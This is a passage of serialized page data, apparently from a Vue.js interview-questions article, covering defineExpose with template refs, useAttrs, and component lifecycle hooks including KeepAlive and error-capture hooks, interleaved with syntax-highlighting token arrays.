})\n\u003C/script>\n",[18,10659,10660,10664,10674,10683,10696,10700,10704,10711],{"__ignoreMap":128},[132,10661,10662],{"class":134,"line":135},[132,10663,8384],{"class":397},[132,10665,10666,10668,10670,10672],{"class":134,"line":149},[132,10667,139],{"class":138},[132,10669,198],{"class":142},[132,10671,201],{"class":158},[132,10673,146],{"class":138},[132,10675,10676,10678,10681],{"class":134,"line":176},[132,10677,260],{"class":209},[132,10679,10680],{"class":158}," focusInput",[132,10682,266],{"class":138},[132,10684,10685,10687,10689,10691,10694],{"class":134,"line":186},[132,10686,3140],{"class":138},[132,10688,3143],{"class":158},[132,10690,243],{"class":138},[132,10692,10693],{"class":165},"'child method called'",[132,10695,249],{"class":138},[132,10697,10698],{"class":134,"line":193},[132,10699,281],{"class":138},[132,10701,10702],{"class":134,"line":206},[132,10703,190],{"emptyLinePlaceholder":189},[132,10705,10706,10708],{"class":134,"line":222},[132,10707,8363],{"class":158},[132,10709,10710],{"class":138},"({ focusInput })\n",[132,10712,10713,10715,10717],{"class":134,"line":227},[132,10714,179],{"class":138},[132,10716,198],{"class":142},[132,10718,146],{"class":138},[123,10720,10722],{"className":125,"code":10721,"language":127,"meta":128,"style":128},"\u003C!-- Parent.vue -->\n\u003Cscript setup>\nimport { ref, onMounted } from 'vue'\nimport Child from './Child.vue'\n\nconst childRef = ref(null)\n\nonMounted(() => {\n    childRef.value.focusInput()\n})\n\u003C/script>\n\n\u003Ctemplate>\n    \u003CChild ref=\"childRef\" />\n\u003C/template>\n",[18,10723,10724,10728,10738,10749,10761,10765,10781,10785,10796,10805,10809,10817,10821,10829,10843],{"__ignoreMap":128},[132,10725,10726],{"class":134,"line":135},[132,10727,8475],{"class":397},[132,10729,10730,10732,10734,10736],{"class":134,"line":149},[132,10731,139],{"class":138},[132,10733,198],{"class":142},[132,10735,201],{"class":158},[132,10737,146],{"class":138},[132,10739,10740,10742,10745,10747],{"class":134,"line":176},[132,10741,210],{"class":209},[132,10743,10744],{"class":138}," { ref, onMounted } ",[132,10746,216],{"class":209},[132,10748,219],{"class":165},[132,10750,10751,10753,10756,10758],{"class":134,"line":186},[132,10752,210],{"class":209},[132,10754,10755],{"class":138}," Child ",[132,10757,216],{"class":209},[132,10759,10760],{"class":165}," './Child.vue'\n",[132,10762,10763],{"class":134,"line":193},[132,10764,190],{"emptyLinePlaceholder":189},[132,10766,10767,10769,10771,10773,10775,10777,10779],{"class":134,"line":206},[132,10768,230],{"class":209},[132,10770,8502],{"class":233},[132,10772,237],{"class":209},[132,10774,240],{"class":158},[132,10776,243],{"class":138},[132,10778,719],{"class":233},[132,10780,249],{"class":138},[132,10782,10783],{"class":134,"line":222},[132,10784,190],{"emptyLinePlaceholder":189},[132,10786,10787,10790,10792,10794],{"class":134,"line":227},[132,10788,10789],{"class":158},"onMounted",[132,10791,2659],{"class":138},[132,10793,2662],{"class":209},[132,10795,316],{"class":138},[132,10797,10798,10800,10803],{"class":134,"line":252},[132,10799,8530],{"class":138},[132,10801,10802],{"class":158},"focusInput",[132,10804,4951],{"class":138},[132,10806,10807],{"class":134,"line":257},[132,10808,3156],{"class":138},[132,10810,10811,10813,10815],{"class":134,"line":269},[132,10812,179],{"class":138},[132,10814,198],{"class":142},[132,10816,146],{"class":138},[132,10818,10819],{"class":134,"line":278},[132,10820,190],{"emptyLinePlaceholder":189},[132,10822,10823,10825,10827],{"class":134,"line":284},[132,10824,139],{"class":138},[132,10826,143],{"class":142},[132,10828,146],{"class":138},[132,10830,10831,10833,10835,10837,10839,10841],{"class":134,"line":293},[132,10832,152],{"class":138},[132,10834,8566],{"class":142},[132,10836,240],{"class":158},[132,10838,162],{"class":138},[132,10840,8573],{"class":165},[132,10842,1287],{"class":138},[132,10844,10845,10847,10849],{"class":134,"line":298},[132,10846,179],{"class":138},[132,10848,143],{"class":142},[132,10850,146],{"class":138},[11,10852,10853,10854,10856,10857,10859,10860,10862],{},"As covered in the ",[18,10855,8363],{}," question above, ",[18,10858,20],{}," components are closed by default, so the parent cannot reach ",[18,10861,10802],{}," through the template ref unless the child explicitly opts in. That opt-in step is the piece that actually makes this pattern work; the template ref itself just gives the parent a handle to call it on.",[34,10864,10866,10867,10870],{"id":10865},"_76-what-does-useattrs-do-and-when-would-you-use-it","76. What does ",[18,10868,10869],{},"useAttrs()"," do, and when would you use it?",[11,10872,10873,10875,10876,581,10878,581,10880,10882],{},[18,10874,10869],{}," gives you access to \"fallthrough attributes\": attributes and listeners passed to a component that are not declared as props (or emits). By default, Vue automatically applies these attributes to the component's root element, which is usually what you want (",[18,10877,1731],{},[18,10879,1658],{},[18,10881,8079],{}," attributes, ARIA attributes all just work without extra effort).",[11,10884,10885,10886,10888],{},"You reach for ",[18,10887,10869],{}," when you need to inspect or manually redirect those attributes yourself, typically because the component has multiple root nodes (no automatic single-root fallthrough) or you want to apply them to a specific inner element rather than the outermost one.",[123,10890,10892],{"className":125,"code":10891,"language":127,"meta":128,"style":128},"\u003Cscript setup>\nimport { useAttrs } from 'vue'\n\ndefineProps(['label'])\ndefineOptions({ inheritAttrs: false })\n\nconst attrs = useAttrs()\n\u003C/script>\n\n\u003Ctemplate>\n    \u003Cdiv class=\"wrapper\">\n        \u003Clabel>{{ label }}\u003C/label>\n        \u003Cinput v-bind=\"attrs\" />\n    \u003C/div>\n\u003C/template>\n",[18,10893,10894,10904,10915,10919,10930,10940,10944,10958,10966,10970,10978,10993,11006,11021,11029],{"__ignoreMap":128},[132,10895,10896,10898,10900,10902],{"class":134,"line":135},[132,10897,139],{"class":138},[132,10899,198],{"class":142},[132,10901,201],{"class":158},[132,10903,146],{"class":138},[132,10905,10906,10908,10911,10913],{"class":134,"line":149},[132,10907,210],{"class":209},[132,10909,10910],{"class":138}," { useAttrs } ",[132,10912,216],{"class":209},[132,10914,219],{"class":165},[132,10916,10917],{"class":134,"line":176},[132,10918,190],{"emptyLinePlaceholder":189},[132,10920,10921,10923,10925,10928],{"class":134,"line":186},[132,10922,6501],{"class":158},[132,10924,3622],{"class":138},[132,10926,10927],{"class":165},"'label'",[132,10929,3636],{"class":138},[132,10931,10932,10934,10936,10938],{"class":134,"line":193},[132,10933,8133],{"class":158},[132,10935,8136],{"class":138},[132,10937,4614],{"class":233},[132,10939,3120],{"class":138},[132,10941,10942],{"class":134,"line":206},[132,10943,190],{"emptyLinePlaceholder":189},[132,10945,10946,10948,10951,10953,10956],{"class":134,"line":222},[132,10947,230],{"class":209},[132,10949,10950],{"class":233}," attrs",[132,10952,237],{"class":209},[132,10954,10955],{"class":158}," useAttrs",[132,10957,4951],{"class":138},[132,10959,10960,10962,10964],{"class":134,"line":227},[132,10961,179],{"class":138},[132,10963,198],{"class":142},[132,10965,146],{"class":138},[132,10967,10968],{"class":134,"line":252},[132,10969,190],{"emptyLinePlaceholder":189},[132,10971,10972,10974,10976],{"class":134,"line":257},[132,10973,139],{"class":138},[132,10975,143],{"class":142},[132,10977,146],{"class":138},[132,10979,10980,10982,10984,10986,10988,10991],{"class":134,"line":269},[132,10981,152],{"class":138},[132,10983,1385],{"class":142},[132,10985,8169],{"class":158},[132,10987,162],{"class":138},[132,10989,10990],{"class":165},"\"wrapper\"",[132,10992,146],{"class":138},[132,10994,10995,10997,10999,11002,11004],{"class":134,"line":278},[132,10996,1489],{"class":138},[132,10998,8183],{"class":142},[132,11000,11001],{"class":138},">{{ label }}\u003C/",[132,11003,8183],{"class":142},[132,11005,146],{"class":138},[132,11007,11008,11010,11012,11014,11016,11019],{"class":134,"line":284},[132,11009,1489],{"class":138},[132,11011,2200],{"class":142},[132,11013,2428],{"class":158},[132,11015,162],{"class":138},[132,11017,11018],{"class":165},"\"attrs\"",[132,11020,1287],{"class":138},[132,11022,11023,11025,11027],{"class":134,"line":293},[132,11024,1528],{"class":138},[132,11026,1385],{"class":142},[132,11028,146],{"class":138},[132,11030,11031,11033,11035],{"class":134,"line":298},[132,11032,179],{"class":138},[132,11034,143],{"class":142},[132,11036,146],{"class":138},[11,11038,11039,11040,11042,11043,626,11045,11048,11049,11051,11052,1334,11055,11058],{},"Here, ",[18,11041,8064],{}," stops Vue from dumping attributes onto the outer ",[18,11044,8232],{},[18,11046,11047],{},"v-bind=\"attrs\""," forwards them onto the actual ",[18,11050,1651],{}," instead, so something like ",[18,11053,11054],{},"placeholder",[18,11056,11057],{},"maxlength"," passed from the parent lands where it is actually meaningful.",[29,11060,11062],{"id":11061},"lifecycle-hooks","Lifecycle Hooks",[34,11064,11066],{"id":11065},"_77-what-are-the-vue-component-lifecycle-hooks-in-order-from-creation-to-destruction","77. What are the Vue component lifecycle hooks, in order, from creation to destruction?",[11,11068,11069],{},"A Vue component goes through a predictable sequence of stages as it is created, mounted to the DOM, updated, and eventually removed. Here they are in order, with the Options API hook name and its Composition API equivalent:",[11,11071,11072],{},[1268,11073],{"alt":11074,"src":11075},"Vue component lifecycle hooks diagram","/post-images/top-150-vuejs-interview-questions/vue-lifecycle-hooks-diagram.png",[479,11077,11078,11090],{},[482,11079,11080],{},[485,11081,11082,11085,11088],{},[488,11083,11084],{},"Stage",[488,11086,11087],{},"Options API",[488,11089,92],{},[498,11091,11092,11107,11121,11136,11150,11165,11180,11195],{},[485,11093,11094,11097,11102],{},[503,11095,11096],{},"Before instance setup",[503,11098,11099],{},[18,11100,11101],{},"beforeCreate",[503,11103,11104,11105,3335],{},"(not needed, code runs directly in ",[18,11106,968],{},[485,11108,11109,11112,11117],{},[503,11110,11111],{},"After state/computed set up",[503,11113,11114],{},[18,11115,11116],{},"created",[503,11118,11104,11119,3335],{},[18,11120,968],{},[485,11122,11123,11126,11131],{},[503,11124,11125],{},"Before first DOM render",[503,11127,11128],{},[18,11129,11130],{},"beforeMount",[503,11132,11133],{},[18,11134,11135],{},"onBeforeMount",[485,11137,11138,11141,11146],{},[503,11139,11140],{},"After first DOM render",[503,11142,11143],{},[18,11144,11145],{},"mounted",[503,11147,11148],{},[18,11149,10789],{},[485,11151,11152,11155,11160],{},[503,11153,11154],{},"Before re-render on data change",[503,11156,11157],{},[18,11158,11159],{},"beforeUpdate",[503,11161,11162],{},[18,11163,11164],{},"onBeforeUpdate",[485,11166,11167,11170,11175],{},[503,11168,11169],{},"After re-render on data change",[503,11171,11172],{},[18,11173,11174],{},"updated",[503,11176,11177],{},[18,11178,11179],{},"onUpdated",[485,11181,11182,11185,11190],{},[503,11183,11184],{},"Before component teardown",[503,11186,11187],{},[18,11188,11189],{},"beforeUnmount",[503,11191,11192],{},[18,11193,11194],{},"onBeforeUnmount",[485,11196,11197,11200,11205],{},[503,11198,11199],{},"After component teardown",[503,11201,11202],{},[18,11203,11204],{},"unmounted",[503,11206,11207],{},[18,11208,11209],{},"onUnmounted",[11,11211,11212,11213,5454,11215,4319,11218,592,11221,4319,11224,11227,11228,4319,11231,11234,11235,11237,11238,4319,11240,385],{},"There are also two extra hooks tied specifically to ",[18,11214,584],{},[18,11216,11217],{},"activated",[18,11219,11220],{},"onActivated",[18,11222,11223],{},"deactivated",[18,11225,11226],{},"onDeactivated","), and an error-handling hook (",[18,11229,11230],{},"errorCaptured",[18,11232,11233],{},"onErrorCaptured",") that does not fit neatly into the create-to-destroy timeline. The general pattern to remember: setup/fetch data in the \"before mount\" or \"created\" stage, do DOM-dependent work (measuring elements, third-party widget initialization) in ",[18,11236,11145],{},", and clean up timers, subscriptions, and event listeners in ",[18,11239,11189],{},[18,11241,11204],{},[34,11243,11245,11246,592,11248,1349],{"id":11244},"_78-what-is-the-difference-between-beforemount-and-mounted","78. What is the difference between ",[18,11247,11130],{},[18,11249,11145],{},[11,11251,11252,11254,11255,11258,11259,11261],{},[18,11253,11130],{}," fires right before Vue inserts the component's DOM into the page; the template has been compiled and reactive state is ready, but nothing exists in the actual DOM yet, so ",[18,11256,11257],{},"$el"," (or the equivalent template ref) is not usable. ",[18,11260,11145],{}," fires immediately after the DOM has been created and inserted, so at that point you can safely query or manipulate real DOM elements.",[123,11263,11265],{"className":125,"code":11264,"language":127,"meta":128,"style":128},"\u003Cscript setup>\nimport { onBeforeMount, onMounted, ref } from 'vue'\n\nconst box = ref(null)\n\nonBeforeMount(() => {\n    console.log(box.value)   // null, DOM not created yet\n})\n\nonMounted(() => {\n    console.log(box.value)   // the actual \u003Cdiv>, ready to use\n})\n\u003C/script>\n\n\u003Ctemplate>\n    \u003Cdiv ref=\"box\">Hello\u003C/div>\n\u003C/template>\n",[18,11266,11267,11277,11288,11292,11308,11312,11322,11334,11338,11342,11352,11363,11367,11375,11379,11387,11407],{"__ignoreMap":128},[132,11268,11269,11271,11273,11275],{"class":134,"line":135},[132,11270,139],{"class":138},[132,11272,198],{"class":142},[132,11274,201],{"class":158},[132,11276,146],{"class":138},[132,11278,11279,11281,11284,11286],{"class":134,"line":149},[132,11280,210],{"class":209},[132,11282,11283],{"class":138}," { onBeforeMount, onMounted, ref } ",[132,11285,216],{"class":209},[132,11287,219],{"class":165},[132,11289,11290],{"class":134,"line":176},[132,11291,190],{"emptyLinePlaceholder":189},[132,11293,11294,11296,11298,11300,11302,11304,11306],{"class":134,"line":186},[132,11295,230],{"class":209},[132,11297,4898],{"class":233},[132,11299,237],{"class":209},[132,11301,240],{"class":158},[132,11303,243],{"class":138},[132,11305,719],{"class":233},[132,11307,249],{"class":138},[132,11309,11310],{"class":134,"line":193},[132,11311,190],{"emptyLinePlaceholder":189},[132,11313,11314,11316,11318,11320],{"class":134,"line":206},[132,11315,11135],{"class":158},[132,11317,2659],{"class":138},[132,11319,2662],{"class":209},[132,11321,316],{"class":138},[132,11323,11324,11326,11328,11331],{"class":134,"line":222},[132,11325,3140],{"class":138},[132,11327,3143],{"class":158},[132,11329,11330],{"class":138},"(box.value)   ",[132,11332,11333],{"class":397},"// null, DOM not created yet\n",[132,11335,11336],{"class":134,"line":227},[132,11337,3156],{"class":138},[132,11339,11340],{"class":134,"line":252},[132,11341,190],{"emptyLinePlaceholder":189},[132,11343,11344,11346,11348,11350],{"class":134,"line":257},[132,11345,10789],{"class":158},[132,11347,2659],{"class":138},[132,11349,2662],{"class":209},[132,11351,316],{"class":138},[132,11353,11354,11356,11358,11360],{"class":134,"line":269},[132,11355,3140],{"class":138},[132,11357,3143],{"class":158},[132,11359,11330],{"class":138},[132,11361,11362],{"class":397},"// the actual \u003Cdiv>, ready to use\n",[132,11364,11365],{"class":134,"line":278},[132,11366,3156],{"class":138},[132,11368,11369,11371,11373],{"class":134,"line":284},[132,11370,179],{"class":138},[132,11372,198],{"class":142},[132,11374,146],{"class":138},[132,11376,11377],{"class":134,"line":293},[132,11378,190],{"emptyLinePlaceholder":189},[132,11380,11381,11383,11385],{"class":134,"line":298},[132,11382,139],{"class":138},[132,11384,143],{"class":142},[132,11386,146],{"class":138},[132,11388,11389,11391,11393,11395,11397,11400,11403,11405],{"class":134,"line":311},[132,11390,152],{"class":138},[132,11392,1385],{"class":142},[132,11394,240],{"class":158},[132,11396,162],{"class":138},[132,11398,11399],{"class":165},"\"box\"",[132,11401,11402],{"class":138},">Hello\u003C/",[132,11404,1385],{"class":142},[132,11406,146],{"class":138},[132,11408,11409,11411,11413],{"class":134,"line":319},[132,11410,179],{"class":138},[132,11412,143],{"class":142},[132,11414,146],{"class":138},[11,11416,11417,11418,11420,11421,11423],{},"In practice, ",[18,11419,11130],{}," is rarely used for anything meaningful; ",[18,11422,11145],{}," is the hook you reach for when you need to measure an element, integrate a third-party DOM library (like a chart or map widget), or trigger an initial focus/scroll.",[34,11425,11427,11428,592,11430,1349],{"id":11426},"_79-what-is-the-difference-between-beforeupdate-and-updated","79. What is the difference between ",[18,11429,11159],{},[18,11431,11174],{},[11,11433,11434,11435,11437,11438,11440],{},"Both fire in response to a reactive data change that requires a re-render, but at different points relative to the actual DOM patch. ",[18,11436,11159],{}," runs after Vue detects the change but before it touches the DOM, so the DOM still reflects the old state at that point. ",[18,11439,11174],{}," runs after Vue has finished patching the DOM to match the new state.",[123,11442,11444],{"className":125,"code":11443,"language":127,"meta":128,"style":128},"\u003Cscript setup>\nimport { ref, onBeforeUpdate, onUpdated } from 'vue'\n\nconst count = ref(0)\n\nonBeforeUpdate(() => {\n    console.log('about to patch DOM')\n})\n\nonUpdated(() => {\n    console.log('DOM now reflects', count.value)\n})\n\u003C/script>\n",[18,11445,11446,11456,11467,11471,11487,11491,11501,11514,11518,11522,11532,11546,11550],{"__ignoreMap":128},[132,11447,11448,11450,11452,11454],{"class":134,"line":135},[132,11449,139],{"class":138},[132,11451,198],{"class":142},[132,11453,201],{"class":158},[132,11455,146],{"class":138},[132,11457,11458,11460,11463,11465],{"class":134,"line":149},[132,11459,210],{"class":209},[132,11461,11462],{"class":138}," { ref, onBeforeUpdate, onUpdated } ",[132,11464,216],{"class":209},[132,11466,219],{"class":165},[132,11468,11469],{"class":134,"line":176},[132,11470,190],{"emptyLinePlaceholder":189},[132,11472,11473,11475,11477,11479,11481,11483,11485],{"class":134,"line":186},[132,11474,230],{"class":209},[132,11476,234],{"class":233},[132,11478,237],{"class":209},[132,11480,240],{"class":158},[132,11482,243],{"class":138},[132,11484,246],{"class":233},[132,11486,249],{"class":138},[132,11488,11489],{"class":134,"line":193},[132,11490,190],{"emptyLinePlaceholder":189},[132,11492,11493,11495,11497,11499],{"class":134,"line":206},[132,11494,11164],{"class":158},[132,11496,2659],{"class":138},[132,11498,2662],{"class":209},[132,11500,316],{"class":138},[132,11502,11503,11505,11507,11509,11512],{"class":134,"line":222},[132,11504,3140],{"class":138},[132,11506,3143],{"class":158},[132,11508,243],{"class":138},[132,11510,11511],{"class":165},"'about to patch DOM'",[132,11513,249],{"class":138},[132,11515,11516],{"class":134,"line":227},[132,11517,3156],{"class":138},[132,11519,11520],{"class":134,"line":252},[132,11521,190],{"emptyLinePlaceholder":189},[132,11523,11524,11526,11528,11530],{"class":134,"line":257},[132,11525,11179],{"class":158},[132,11527,2659],{"class":138},[132,11529,2662],{"class":209},[132,11531,316],{"class":138},[132,11533,11534,11536,11538,11540,11543],{"class":134,"line":269},[132,11535,3140],{"class":138},[132,11537,3143],{"class":158},[132,11539,243],{"class":138},[132,11541,11542],{"class":165},"'DOM now reflects'",[132,11544,11545],{"class":138},", count.value)\n",[132,11547,11548],{"class":134,"line":278},[132,11549,3156],{"class":138},[132,11551,11552,11554,11556],{"class":134,"line":284},[132,11553,179],{"class":138},[132,11555,198],{"class":142},[132,11557,146],{"class":138},[11,11559,11560,11562,11563,11565,11566,1334,11568,11570],{},[18,11561,11174],{}," is the one you would use if you need to read the DOM after a change lands, for example checking a scroll position after a list re-renders. Be careful mutating reactive state inside either hook, since changing state in ",[18,11564,11174],{}," can trigger another update cycle and potentially loop; if you need to react to a specific value changing, a ",[18,11567,5029],{},[18,11569,5032],{}," is usually a cleaner and more targeted tool than these hooks.",[34,11572,11574,11575,592,11577,1349],{"id":11573},"_80-what-is-the-difference-between-beforeunmount-and-unmounted","80. What is the difference between ",[18,11576,11189],{},[18,11578,11204],{},[11,11580,11581,11583,11584,11586],{},[18,11582,11189],{}," fires right before a component instance is torn down; at this point the component is still fully functional; event listeners are still attached, and the instance is still reactive, which makes it the right place to clean things up while everything the cleanup code needs is still alive. ",[18,11585,11204],{}," fires after the teardown is complete: child components have been destroyed, DOM event listeners bound by Vue have been removed, and reactive effects tied to the component have been stopped.",[123,11588,11590],{"className":125,"code":11589,"language":127,"meta":128,"style":128},"\u003Cscript setup>\nimport { onBeforeUnmount, onUnmounted } from 'vue'\n\nlet timerId\n\nonBeforeUnmount(() => {\n    clearInterval(timerId)   // instance still active, safe to clean up\n})\n\nonUnmounted(() => {\n    console.log('component fully removed')\n})\n\u003C/script>\n",[18,11591,11592,11602,11613,11617,11624,11628,11638,11649,11653,11657,11667,11680,11684],{"__ignoreMap":128},[132,11593,11594,11596,11598,11600],{"class":134,"line":135},[132,11595,139],{"class":138},[132,11597,198],{"class":142},[132,11599,201],{"class":158},[132,11601,146],{"class":138},[132,11603,11604,11606,11609,11611],{"class":134,"line":149},[132,11605,210],{"class":209},[132,11607,11608],{"class":138}," { onBeforeUnmount, onUnmounted } ",[132,11610,216],{"class":209},[132,11612,219],{"class":165},[132,11614,11615],{"class":134,"line":176},[132,11616,190],{"emptyLinePlaceholder":189},[132,11618,11619,11621],{"class":134,"line":186},[132,11620,5401],{"class":209},[132,11622,11623],{"class":138}," timerId\n",[132,11625,11626],{"class":134,"line":193},[132,11627,190],{"emptyLinePlaceholder":189},[132,11629,11630,11632,11634,11636],{"class":134,"line":206},[132,11631,11194],{"class":158},[132,11633,2659],{"class":138},[132,11635,2662],{"class":209},[132,11637,316],{"class":138},[132,11639,11640,11643,11646],{"class":134,"line":222},[132,11641,11642],{"class":158},"    clearInterval",[132,11644,11645],{"class":138},"(timerId)   ",[132,11647,11648],{"class":397},"// instance still active, safe to clean up\n",[132,11650,11651],{"class":134,"line":227},[132,11652,3156],{"class":138},[132,11654,11655],{"class":134,"line":252},[132,11656,190],{"emptyLinePlaceholder":189},[132,11658,11659,11661,11663,11665],{"class":134,"line":257},[132,11660,11209],{"class":158},[132,11662,2659],{"class":138},[132,11664,2662],{"class":209},[132,11666,316],{"class":138},[132,11668,11669,11671,11673,11675,11678],{"class":134,"line":269},[132,11670,3140],{"class":138},[132,11672,3143],{"class":158},[132,11674,243],{"class":138},[132,11676,11677],{"class":165},"'component fully removed'",[132,11679,249],{"class":138},[132,11681,11682],{"class":134,"line":278},[132,11683,3156],{"class":138},[132,11685,11686,11688,11690],{"class":134,"line":284},[132,11687,179],{"class":138},[132,11689,198],{"class":142},[132,11691,146],{"class":138},[11,11693,11694,11695,4319,11698,11701,11702,11704,11705,11707],{},"The practical guidance: put cleanup logic (clearing intervals, removing manually added ",[18,11696,11697],{},"window",[18,11699,11700],{},"document"," listeners, closing WebSocket connections, cancelling subscriptions) in ",[18,11703,11189],{},", since it runs while you still have full access to everything you set up. ",[18,11706,11204],{}," is mostly useful for final bookkeeping, like logging that a component was removed, after everything is already gone.",[34,11709,11711,11712,11714],{"id":11710},"_81-how-do-composition-api-lifecycle-hooks-onmounted-etc-differ-from-options-api-lifecycle-hooks","81. How do Composition API lifecycle hooks (",[18,11713,10789],{},", etc.) differ from Options API lifecycle hooks?",[11,11716,11717,11718,11721,11722,11725,11726,1334,11728,11730],{},"Options API hooks are object properties (",[18,11719,11720],{},"mounted() { ... }",") tied to a single component definition, and a component can only define each one once. Composition API hooks are plain imported functions (",[18,11723,11724],{},"onMounted(() => { ... })",") that you call from inside ",[18,11727,968],{},[18,11729,20],{},", and you can call the same one multiple times in one component; each callback registered that way runs, in the order it was registered.",[123,11732,11734],{"className":125,"code":11733,"language":127,"meta":128,"style":128},"\u003Cscript setup>\nimport { onMounted } from 'vue'\n\nonMounted(() => {\n    console.log('first mounted callback')\n})\n\nonMounted(() => {\n    console.log('second mounted callback')\n})\n\u003C/script>\n",[18,11735,11736,11746,11757,11761,11771,11784,11788,11792,11802,11815,11819],{"__ignoreMap":128},[132,11737,11738,11740,11742,11744],{"class":134,"line":135},[132,11739,139],{"class":138},[132,11741,198],{"class":142},[132,11743,201],{"class":158},[132,11745,146],{"class":138},[132,11747,11748,11750,11753,11755],{"class":134,"line":149},[132,11749,210],{"class":209},[132,11751,11752],{"class":138}," { onMounted } ",[132,11754,216],{"class":209},[132,11756,219],{"class":165},[132,11758,11759],{"class":134,"line":176},[132,11760,190],{"emptyLinePlaceholder":189},[132,11762,11763,11765,11767,11769],{"class":134,"line":186},[132,11764,10789],{"class":158},[132,11766,2659],{"class":138},[132,11768,2662],{"class":209},[132,11770,316],{"class":138},[132,11772,11773,11775,11777,11779,11782],{"class":134,"line":193},[132,11774,3140],{"class":138},[132,11776,3143],{"class":158},[132,11778,243],{"class":138},[132,11780,11781],{"class":165},"'first mounted callback'",[132,11783,249],{"class":138},[132,11785,11786],{"class":134,"line":206},[132,11787,3156],{"class":138},[132,11789,11790],{"class":134,"line":222},[132,11791,190],{"emptyLinePlaceholder":189},[132,11793,11794,11796,11798,11800],{"class":134,"line":227},[132,11795,10789],{"class":158},[132,11797,2659],{"class":138},[132,11799,2662],{"class":209},[132,11801,316],{"class":138},[132,11803,11804,11806,11808,11810,11813],{"class":134,"line":252},[132,11805,3140],{"class":138},[132,11807,3143],{"class":158},[132,11809,243],{"class":138},[132,11811,11812],{"class":165},"'second mounted callback'",[132,11814,249],{"class":138},[132,11816,11817],{"class":134,"line":257},[132,11818,3156],{"class":138},[132,11820,11821,11823,11825],{"class":134,"line":269},[132,11822,179],{"class":138},[132,11824,198],{"class":142},[132,11826,146],{"class":138},[11,11828,11829,11830,4319,11832,11834,11835,11837,11838,11840,11841,11843,11844,11846,11847,11850],{},"This matters most for composables: a composable function can register its own ",[18,11831,10789],{},[18,11833,11209],{}," logic internally, and using that composable from multiple components, or multiple times in the same component, does not clash with hooks the component itself defines. Composition API hooks must be called synchronously during ",[18,11836,968],{}," (or at the top level of ",[18,11839,20],{},", which compiles into ",[18,11842,968],{},"); calling one later, inside an ",[18,11845,4917],{}," callback after an ",[18,11848,11849],{},"await",", will not register correctly because Vue loses track of which component instance is \"current\" at that point.",[34,11852,11854,11855,11857],{"id":11853},"_82-what-lifecycle-hooks-does-keepalive-add-and-what-are-they-for","82. What lifecycle hooks does ",[18,11856,584],{}," add, and what are they for?",[11,11859,11860,11862,11863,4319,11865,11867,11868,11870,11871,11873,11874,11876,11877,6827,11879,11881],{},[18,11861,584],{}," caches inactive components instead of destroying them when they are toggled out (for example, switching between tabs or routes), preserving their state and DOM so switching back is instant. Because the component is not actually destroyed and recreated, the normal ",[18,11864,11145],{},[18,11866,11204],{}," hooks do not fire again on toggling; instead, ",[18,11869,584],{}," adds two dedicated hooks: ",[18,11872,11217],{}," (Options API) / ",[18,11875,11220],{}," (Composition API), which fires when a cached component is inserted back into the DOM, and ",[18,11878,11223],{},[18,11880,11226],{},", which fires when it is removed from the DOM but kept in the cache.",[123,11883,11885],{"className":125,"code":11884,"language":127,"meta":128,"style":128},"\u003Cscript setup>\nimport { onActivated, onDeactivated } from 'vue'\n\nonActivated(() => {\n    console.log('component shown again, resume polling')\n})\n\nonDeactivated(() => {\n    console.log('component hidden, pause polling')\n})\n\u003C/script>\n",[18,11886,11887,11897,11908,11912,11922,11935,11939,11943,11953,11966,11970],{"__ignoreMap":128},[132,11888,11889,11891,11893,11895],{"class":134,"line":135},[132,11890,139],{"class":138},[132,11892,198],{"class":142},[132,11894,201],{"class":158},[132,11896,146],{"class":138},[132,11898,11899,11901,11904,11906],{"class":134,"line":149},[132,11900,210],{"class":209},[132,11902,11903],{"class":138}," { onActivated, onDeactivated } ",[132,11905,216],{"class":209},[132,11907,219],{"class":165},[132,11909,11910],{"class":134,"line":176},[132,11911,190],{"emptyLinePlaceholder":189},[132,11913,11914,11916,11918,11920],{"class":134,"line":186},[132,11915,11220],{"class":158},[132,11917,2659],{"class":138},[132,11919,2662],{"class":209},[132,11921,316],{"class":138},[132,11923,11924,11926,11928,11930,11933],{"class":134,"line":193},[132,11925,3140],{"class":138},[132,11927,3143],{"class":158},[132,11929,243],{"class":138},[132,11931,11932],{"class":165},"'component shown again, resume polling'",[132,11934,249],{"class":138},[132,11936,11937],{"class":134,"line":206},[132,11938,3156],{"class":138},[132,11940,11941],{"class":134,"line":222},[132,11942,190],{"emptyLinePlaceholder":189},[132,11944,11945,11947,11949,11951],{"class":134,"line":227},[132,11946,11226],{"class":158},[132,11948,2659],{"class":138},[132,11950,2662],{"class":209},[132,11952,316],{"class":138},[132,11954,11955,11957,11959,11961,11964],{"class":134,"line":252},[132,11956,3140],{"class":138},[132,11958,3143],{"class":158},[132,11960,243],{"class":138},[132,11962,11963],{"class":165},"'component hidden, pause polling'",[132,11965,249],{"class":138},[132,11967,11968],{"class":134,"line":257},[132,11969,3156],{"class":138},[132,11971,11972,11974,11976],{"class":134,"line":269},[132,11973,179],{"class":138},[132,11975,198],{"class":142},[132,11977,146],{"class":138},[11,11979,11980],{},"These are useful for pausing and resuming expensive work tied to visibility, like polling intervals, video playback, or subscriptions, that should not keep running while the component is cached out of view but also should not be fully torn down and reinitialized every time the user switches back.",[34,11982,11984,11985,11987,11988,11990],{"id":11983},"_83-what-does-onerrorcaptured-or-the-options-api-errorcaptured-do","83. What does ",[18,11986,11233],{}," (or the Options API ",[18,11989,11230],{},") do?",[11,11992,11993,11995],{},[18,11994,11233],{}," registers a hook on an ancestor component that catches errors thrown anywhere in its descendant component tree, including errors from render functions, watchers, and lifecycle hooks of child components. It works similarly to an error boundary in other frameworks: it lets a parent component gracefully handle failures in its children instead of letting an uncaught error crash the whole app.",[123,11997,11999],{"className":125,"code":11998,"language":127,"meta":128,"style":128},"\u003Cscript setup>\nimport { ref, onErrorCaptured } from 'vue'\n\nconst error = ref(null)\n\nonErrorCaptured((err, instance, info) => {\n    error.value = err.message\n    return false   // stop the error from propagating further up\n})\n\u003C/script>\n\n\u003Ctemplate>\n    \u003Cp v-if=\"error\">Something went wrong: {{ error }}\u003C/p>\n    \u003Cslot v-else>\u003C/slot>\n\u003C/template>\n",[18,12000,12001,12011,12022,12026,12043,12047,12072,12082,12092,12096,12104,12108,12116,12136,12151],{"__ignoreMap":128},[132,12002,12003,12005,12007,12009],{"class":134,"line":135},[132,12004,139],{"class":138},[132,12006,198],{"class":142},[132,12008,201],{"class":158},[132,12010,146],{"class":138},[132,12012,12013,12015,12018,12020],{"class":134,"line":149},[132,12014,210],{"class":209},[132,12016,12017],{"class":138}," { ref, onErrorCaptured } 